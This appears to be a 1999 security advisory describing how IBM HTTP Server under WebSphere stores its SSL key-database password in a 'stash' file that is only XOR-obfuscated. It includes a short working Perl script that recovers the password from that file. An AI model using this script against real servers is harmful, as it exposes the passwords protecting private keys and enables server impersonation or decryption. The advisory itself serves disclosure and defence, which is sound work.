Vulnerability

    IBM WebSphere

Affected

    IBM WebSphere

Description

    Major Malfunction found following.   IBM WebSphere has the  option
    to use the IBM HTTP Server as it's underlying web server.  If  you
    do this, you have the further  option to use SSL connections.   If
    you  do  this,  you  must  create  a "key database" using the tool
    "ikeyman"  to  store  your  server  certificate/key pair.  The key
    database must have a password to protect it, which is not  allowed
    to be null.  IBM,  in their documentation, give sage  advice about
    the importance of  this password, and  what lengths you  should go
    to choose a good one:

      Setting the database password

      When you create a new  key database, you specify a  key database
      password. This  password is  important because  it protects  the
      private  key.  The  private  key  is  the only key that can sign
      documents or  decrypt messages  encrypted with  the public  key.
      It's  a  good  practice  to  change  the  key  database password
      frequently.   Use the  following guidelines  when specifying the
      password:

        The password must be from the U.S. English character set.  The
        password  should  be  at  least  six characters and contain at
        least  two  nonconsecutive  numbers.   Make  sure the password
        doesn't consist of publicly obtainable information about  you,
        such as the initials and  birth date for you, your  spouse, or
        children.

    Having created  your database,  you must  store the  password in a
    "stash" file, which the web server will read.  Unfortunately,  the
    stash file can be "decrypted" with the following code:

    #!/usr/bin/perl -w
    #
    # unstash.pl - "decrypt" IBM HTTP server stash files. No, really. They *are* this pathetic.
    #
    # sploit (BoByRiTe) 1999, Major Malfunction, code by Ben Laurie, cos I dudn't dud perly thing.
    
    use strict;
    
    die "Usage: $0 <stash file>\n" if $#ARGV != 0;
    
    my $file=$ARGV[0];
    open(F,$file) || die "Can't open $file: $!";
    
    my $stash;
    read F,$stash,1024;
    
    my @unstash=map { $_^0xf5 } unpack("C*",$stash);
    
    foreach my $c (@unstash) {
        last if $c eq 0;
        printf "%c",$c;
    }
    printf "\n";

    The problem here is  not that the stash  file exists in the  first
    place, as, unless there is some external token based system, there
    is no real way around the problem of automating startup  securely,
    but that it is disguised as  a "secure" part of the system.   This
    is  liable  to  lead  to  an  exploit  of other facilities via the
    re-used password  stored in  this file.   Not sure  what other IBM
    applications (if any) use ikeyman,  but if there are any  they may
    have similar problems.

Solution

    IBM were made aware of this a couple of weeks ago, and have stated
    that they will update their documentation to explain the situation
    better, and make lusers aware of the risks...